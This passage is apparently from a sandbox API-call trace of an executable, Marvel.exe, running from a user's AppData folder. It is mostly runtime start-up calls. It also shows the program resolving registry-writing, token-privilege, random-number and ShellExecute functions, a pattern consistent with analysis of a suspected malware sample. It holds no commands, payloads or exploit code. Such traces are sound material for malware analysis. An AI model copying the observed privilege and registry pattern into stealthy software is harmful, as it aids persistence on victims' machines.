lpProcName="GetLocaleInfoW") returned 0x76e23c42 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="ResetEvent") returned 0x76e216dd [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueue") returned 0x76e4b020 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="SignalObjectAndWait") returned 0x76e3f8a4 [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPriority") returned 0x76e232bb [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadPriority") returned 0x76e243bf [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueueTimer") returned 0x76e3f7eb [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="ChangeTimerQueueTimer") returned 0x76ea40eb [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteTimerQueueTimer") returned 0x76e3f7d3 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetNumaHighestNodeNumber") returned 0x76ea20b2 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessAffinityMask") returned 0x76e2a871 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadAffinityMask") returned 0x76e405a0 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterWaitForSingleObject") returned 0x76e4cb05 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWait") returned 0x76eae6ab [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryAndExitThread") returned 0x76e3d582 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualAlloc") returned 0x76e21856 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualFree") returned 0x76e2186e [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0030.194] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSemaphore") returned 0x76e3d3ab [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPopEntrySList") returned 0x77354770 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPushEntrySList") returned 0x77354757 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedFlushSList") returned 0x77352775 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="QueryDepthSList") returned 0x7735471c [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWaitEx") returned 0x76e4b921 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileExW") returned 0x76e39b2d [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0030.195] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocale") returned 0x76e3ce46 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLCID") returned 0x76e23da5 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesW") returned 0x76ea425f [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExA") returned 0x76ea427f [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0030.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0030.196] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="CryptGenRandom") returned 0x754bdfc8 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="CryptAcquireContextA") returned 0x754b91dd [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="OpenThreadToken") returned 0x754c432c [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="CryptReleaseContext") returned 0x754be124 [0030.197] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0030.197] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x74fe0000 [0030.197] GetProcAddress (hModule=0x74fe0000, lpProcName="GetModuleBaseNameA") returned 0x74fe15a4 [0030.197] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75670000 [0030.197] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteA") returned 0x758b7078 [0030.197] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0030.198] GetProcAddress (hModule=0x76780000, lpProcName="CharLowerW") returned 0x76797647 [0030.198] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0030.363] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0030.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff6c | out: lpSystemTimeAsFileTime=0x18ff6c*(dwLowDateTime=0xa31d6e80, dwHighDateTime=0x1d5e09d)) [0030.366] GetCurrentThreadId () returned 0x5b0 [0030.366] GetCurrentProcessId () returned 0x55c [0030.366] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff64 | out: lpPerformanceCount=0x18ff64*=17223735651) returned 1 [0030.369] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0030.371] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.371] GetLastError () returned 0x57 [0030.372] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.372] GetLastError () returned 0x57 [0030.372] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0030.372] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0030.373] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.373] GetLastError () returned 0x57 [0030.373] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0030.373] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0030.376] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.376] GetLastError () returned 0x57 [0030.376] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74580000 [0030.494] GetProcAddress (hModule=0x74580000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0030.494] GetProcessHeap () returned 0x540000 [0030.494] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.494] GetLastError () returned 0x57 [0030.494] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0030.495] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.495] GetLastError () returned 0x57 [0030.495] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0030.495] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0030.495] GetLastError () returned 0x57 [0030.495] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0030.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x364) returned 0x554ac0 [0030.495] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0030.496] SetLastError (dwErrCode=0x57) [0030.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xc00) returned 0x554e30 [0030.514] GetStartupInfoW (in: lpStartupInfo=0x18fea0 | out: lpStartupInfo=0x18fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x446710, hStdOutput=0xa0058d42, hStdError=0xfffffffe)) [0030.514] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0030.514] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0030.514] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0030.517] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe\"" [0030.517] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe\"" [0030.518] GetLastError () returned 0x57 [0030.518] SetLastError (dwErrCode=0x57) [0030.518] GetLastError () returned 0x57 [0030.518] SetLastError (dwErrCode=0x57) [0030.519] GetACP () returned 0x4e4 [0030.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x554778 [0030.519] IsValidCodePage (CodePage=0x4e4) returned 1 [0030.519] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fed0 | out: lpCPInfo=0x18fed0) returned 1 [0030.520] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f798 | out: lpCPInfo=0x18f798) returned 1 [0030.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0030.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뾿EĀ") returned 256 [0030.521] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뾿EĀ", cchSrc=256, lpCharType=0x18f7ac | out: lpCharType=0x18f7ac) returned 1 [0030.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0030.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ") returned 256 [0030.522] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.522] GetLastError () returned 0x57 [0030.522] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0030.588] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0030.588] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0030.589] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굲EĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0030.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fcac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRÖU èþ\x18", lpUsedDefaultChar=0x0) returned 256 [0030.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0030.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0030.589] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0030.589] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0030.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 